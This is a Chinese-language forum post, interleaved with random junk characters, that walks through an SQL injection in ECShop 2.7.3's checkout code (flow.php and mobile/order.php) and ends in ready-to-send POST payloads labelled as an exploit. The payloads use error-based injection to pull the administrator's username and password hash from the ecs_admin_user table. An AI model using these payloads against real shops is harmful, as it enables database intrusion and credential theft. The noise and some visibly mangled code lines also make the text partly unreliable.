前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。5 w1 \7 H8 F. w+ K, |4 }
3 N( o7 o: F W) d; B" @* y4 l0 | 漏洞关键文件:
" D# S6 [9 M/ E
3 G5 |7 ^) v% L8 D0 p. P /includes/lib_order.php6 A$ @1 h6 x1 u+ O
* r9 D; r" r7 v) I9 h( y' b2 l 关键函数:, `/ g" p' |/ \! y6 w @
. q6 p+ O' {- T; R& h2 e : ^4 `& N/ g' r* I
. Y8 f, l' h" v0 q# D, P
01 function available_shipping_list($region_id_list)
; X7 N# _. h2 y/ ~8 B* Y4 `! l" D7 f2 Q- U" y( r l
02 {
( i* g( d, _$ n0 v; r7 m( O7 g% `; k6 @" q! I- ^1 `, R
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . ; J, J9 M# R [7 k$ y) E
9 P. ?: C6 W& h" M1 y! ~0 p
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
8 e4 k1 D1 g8 Z% o
/ S1 [. j4 z: i4 d05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
, R% m5 J+ I$ l- \" K4 k' j8 {
/ X. w7 P h" e1 r8 ~06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 2 `; q/ O& R$ H/ ?& w& A4 y
" {7 C% C! n) J! G2 }4 |2 ?4 X
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
' U, T" y7 \8 S: L
7 T1 z# ^/ H% C+ q6 Q, |08 'WHERE r.region_id ' . db_create_in($region_id_list) . ! `$ m/ a' A' ~1 y
6 F2 y* L& X, m$ S7 a# b09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
& z3 E) P' o$ i* a+ r( ]4 Z3 S; `
, n5 d% g! k7 M: E+ o& b; m10
h- k/ C( V& d, `2 L1 M
5 R" n6 y" x; x( N( }8 `9 t11 return $GLOBALS['db']->getAll($sql); * S2 t$ K" p% v# a
% A3 j- K9 {3 b4 C& p12 }
/ t, h$ j1 {) e3 c9 Q, Z* p4 @- f! A6 _' X e
显然对传入的参数没有任何过滤就带入了查询语句。% Q; ?7 m+ g6 u& B! P6 ~. C8 c
$ l# ^; z" f% n下面我们追踪这个函数在flow.php中:3 G4 U# s' p9 P; m
第531行:
6 P, O# t% k9 m |% |* `
! ^& W' O- T, T$ ~1 $shipping_list = available_shipping_list($region);
3 \/ x& Z6 i @+ f, e
5 u4 ~) I" `6 |/ L0 | * \9 W" L; t( a1 p* w0 ?; O
$ w' j( k; ~' I H
/ r% g" X* G) O' u; W0 ^
3 \& F* \* Q* m, W* R& @) Q# r再对传入变量进行追踪:4 U" l, }# x5 O& j
2 Z- q3 x/ E2 z/ q6 R) \/ F7 G% C
第530行: , S1 r: C; B' t- b @
4 C+ M! F0 y8 t& t1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 9 p( P6 V2 ^, A+ s% P8 w
: k3 s# X4 R3 l. g
. a6 u% b4 v, u+ s5 c
- A0 C8 O$ R$ u5 Q* J4 {
: v' Y6 W# O2 I$ F- ~( q: ^0 G) f# y/ ^6 _
第473行:
# t0 i8 f2 H/ x. R7 }' [& f8 d$ L) X9 p0 ^& y2 ^' g" _% S
1 $consignee = get_consignee($_SESSION['user_id']);
( F' x Y& o4 s3 R: n
6 ^* M% i2 q l+ k% Y到了一个关键函数:
$ H- N3 ~; s/ @& _9 X$ K
- Y& d, N0 N4 q2 _/includes/lib_order.php+ U8 p c6 b0 Z8 j
- W# g( I* s1 v c' _, h' P
- T% q0 O+ ] H' G, F" H) C, m/ H, A, k1 s2 K4 T% O
( `1 C+ E, ?% r& ~1 `3 W
5 e2 R& y0 O2 w01 function get_consignee($user_id)
q5 c( G7 |& b/ v0 Z* R3 K* ?# K6 A ^$ D( N1 V
02 { ( N; `1 Y `/ u1 M# ]5 N
) Z- j" J- X( o* G3 S. _6 p03 if (isset($_SESSION['flow_consignee'])) 3 m* I* K! V6 ? u
' B. P2 U( q9 a7 {04 {
, t! _9 Q* `; ?4 {' H; ]* r ] P. I0 m( A1 n! w
05 /* 如果存在session,则直接返回session中的收货人信息 */ + d% i* r* i2 z# {; ?
* _5 f5 Y, i1 B" K$ W3 E06 5 r% _, k3 A& [. E, O
* p0 l3 J0 \* V: O; f/ ^07 return $_SESSION['flow_consignee']; : A' p" H. W7 P% w
# I) ^& R- Y& F% h- B
08 } 4 Z( n3 u6 H4 m
3 u {3 i0 Y0 ]# S% q' O' k8 d
09 else : ]. G5 Y: u2 ]/ d* A, N
6 U" e; e9 l" Q& M& n
10 { & p8 t! e( ^: R: p% N! V$ f( g9 o: u
7 O* U3 t2 }1 |1 [! }11 /* 如果不存在,则取得用户的默认收货人信息 */
# r0 a+ y# W! L! Z5 D. n: T- A b1 x) G
12 $arr = array(); 2 T, d1 ]) K7 s4 |! B( A: W
* D4 v5 [: `3 v9 `, ]& G+ L13
/ b. W4 \9 W9 ]$ k- c4 f
; r- k: B, i2 L9 E1 I5 P14 if ($user_id > 0)
7 k: O. Z) b& r: f. `. B/ |% v+ l5 |3 D1 C0 X, t j+ {
15 { 3 J% m2 I# E% _4 U3 m
1 s/ H2 Q* I) ^% u* g/ z; D8 r
16 /* 取默认地址 */ / O8 o. l7 f! |) z. s) Z
/ K9 W1 S: X) q* ^: H8 G17 $sql = "SELECT ua.*". 9 I! F* R( x, W5 g! G: r5 s
; t \, O6 ^6 y% t; P, q7 i! R18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 9 T- y& m8 j$ W j# x p! ^
" P! j) t. N8 F& M" g
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; f( ^: V2 G+ z8 s# a
. b6 N& t& A* l$ x- N20 ; j9 l: |: x4 ~0 G1 I3 g
5 G& z0 C( J4 ^, n' ]
21 $arr = $GLOBALS['db']->getRow($sql);
- a6 N2 X% F, W$ ]
$ n: }& L+ `' h22 }
M( l* I( ]1 s: C- |' f
! v4 ]3 w2 E! E$ p& S% f" }. e23 5 C; o+ b+ y; x7 k& B
1 Q/ f$ |2 b3 s' c g
24 return $arr;
( B* t) M& x# W% ?- H
) {# B0 a" g) l* s" t5 G7 b% J) O" ^25 }
$ C( h8 q' y) g7 F K
, D: J M6 G2 f26 }
* n8 q; w6 y* \/ n5 d* W3 Z2 g6 D6 j9 x4 _+ L3 E
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?, ^* o: g6 ?* N- {) h* S' d; `8 t
9 y: }5 I8 R7 @- g7 p* d% Y$ R# J
: J: O& f- f) g; `( X i- Z9 L2 ]" F" B, ?* a' _
关键点:+ l0 C6 U, G, I" s0 F
, N" ^3 u, j7 }/ W9 c, |2 k第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);3 z+ _5 P8 r- @' ~% y. L
" ]) |. c# E9 e6 |
这里对传入参数反转义存入$_SESSION中。
2 w7 j% s% h" e `! Z3 ]$ V$ D1 M8 u4 Y) |0 p3 `% {
$ |: @: A, I0 x* t( d
0 L' z! C5 o. u4 S4 x1 |然后看下:% A' V; F* ?5 c- t; H: Y8 e
0 S& V4 T0 f* Q* w5 z2 `& p# V
2 Y5 D7 T0 D& t" e! e: f# Q2 F; w8 @3 U' A8 ?6 n
/ U# q$ ~- e. P. @# f8 b0 z
( e9 p! S) P I; r
01 $consignee = array( + S" y) |6 \" e7 k
" X. u6 {& I# C) T* \3 ]+ Y
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
4 X) a b: g9 S/ B7 O" n. a, h" O$ ]$ F( N! G
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
\+ K* `4 F' Y5 p* @! J$ Z8 Z6 v7 U) f) F7 ?- f
04 'country' => empty($_POST['country']) ? '' _POST['country'],
+ d( ]" A) d( g T/ D+ o7 x/ ~! s
: r& N1 o& l( p9 Z: [' H05 'province' => empty($_POST['province']) ? '' _POST['province'],
9 q$ {6 u+ O/ U7 ^1 A3 n9 P' R8 C- }& f% f6 w( q% P- e; Y
06 'city' => empty($_POST['city']) ? '' _POST['city'], 2 F8 d) o9 Y+ w: {) Y( K
, s9 k! |( R/ l- @ H! J07 'district' => empty($_POST['district']) ? '' _POST['district'],
5 A" ~* i5 k J0 ?6 `$ A6 h. {: H5 S) B
08 'email' => empty($_POST['email']) ? '' _POST['email'],
- @( _3 `4 z' a3 I! o
( P8 E0 s, ]5 l1 U8 i09 'address' => empty($_POST['address']) ? '' _POST['address'],
v, x( p, e) b1 U& h
* `! ]0 r, C/ S. A# ]10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), ' j7 s) Y; \6 P% M
, V/ d$ [+ G. |" H2 e0 P- x
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
0 g, |, ?$ X2 I3 f7 Y" _ U
& i. P) n2 p3 ^' S' k/ B9 [12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), , }. l7 `9 C8 ?. L% F8 L9 K
" b& R1 G6 c6 }3 `& `13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 3 R( b' j( Q( R
& M: C$ l# D; N7 I9 ^14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
9 ~0 X; U- C; ]& M3 E5 m$ g; a! _/ c0 b u/ E
15 ); . b8 S# Y, e3 p W( l& \, K4 K
y3 \( k: U+ q+ ?0 |
好了注入就这样出现了。: N: }5 \7 o' a
, v" \$ y. ?# V J$ U==================
" m6 M8 j' |. I C& N% ?
: a4 Y9 N& h, z+ q w注入测试: m' |/ D% i) l" d! n6 `
* D4 P2 Y2 f# M* k/ i% n8 Z7 ~9 r
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)8 r A( k8 a2 j( o. W5 a+ x
- f+ `& v- e" A
测试程序:ECShop_V2.7.3_UTF8_release1106
; o# Q. }# r3 W: E8 U4 x1 R T1 @0 m. y. y0 s
- Q# M3 x& E" W. U9 i
2 g0 q3 R. y/ G5 R1.首先需要点击一个商品加入购物车/ n6 T) v F& @
L2 t( d5 a# X4 O
2.注册一个会员帐号3 b/ f& }+ Q9 I7 l3 `- {- i3 D2 C9 X
0 O0 D* |6 j* E. n$ M
3.post提交数据
5 L+ O" Y( @% }8 t5 B
: I% k/ I9 y; }2 {# r7 r8 R / O; v4 ~/ B" a! e, t4 K0 ?0 _
% R& c3 } Q U! p* k6 @1 }, L1 http://127.0.0.1/ecshop/flow.php 0 I( o4 Z" e& L# e. b
- u- j* C D R. b2 ; e3 q* H0 Y' r% e; }
/ f [( j% F# T- t: i8 ?
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
5 G v+ e# s$ @0 @举一反三,我们根据这个漏洞我们可以继续深入挖掘:% s' U9 i- {7 t7 ~
- p7 q [6 `% K我们搜寻关键函数function available_shipping_list(). |9 \4 {8 F( f, K0 I: k& d
n! A9 n5 b$ v+ K* G, k) {
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同 @3 r. Q$ G0 G3 P& x' j
# [8 V; V+ F+ H利用exp:
, C! h2 X/ }6 _) F6 b2 a v: F# F% h6 u2 K2 H% `* _
1.点击一个商品,点击购买商标
; F# b/ v. A1 L: U4 l( U# ~3 s8 u+ q& ^
2.登录会员帐号' Z$ K: G1 V* g { p C2 C
t4 T& z+ ?5 M" _! w: p
3.post提交:
9 o2 J% Q1 }& c6 I
4 p7 V" n7 Q% Z) E# T. J. Xhttp://127.0.0.1/ecshop/mobile/order.php
7 q4 ~2 e; S3 t' x* a" D) a3 N- J& @. I$ p& ^1 d c
7 ]9 z Q# S( p& u" s% ]" e
3 j$ k. u! P) L5 c8 E4 kcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
9 q0 X2 U# @# x1 @; `# l* k, B1 \, M+ I' J/ O$ S7 d
|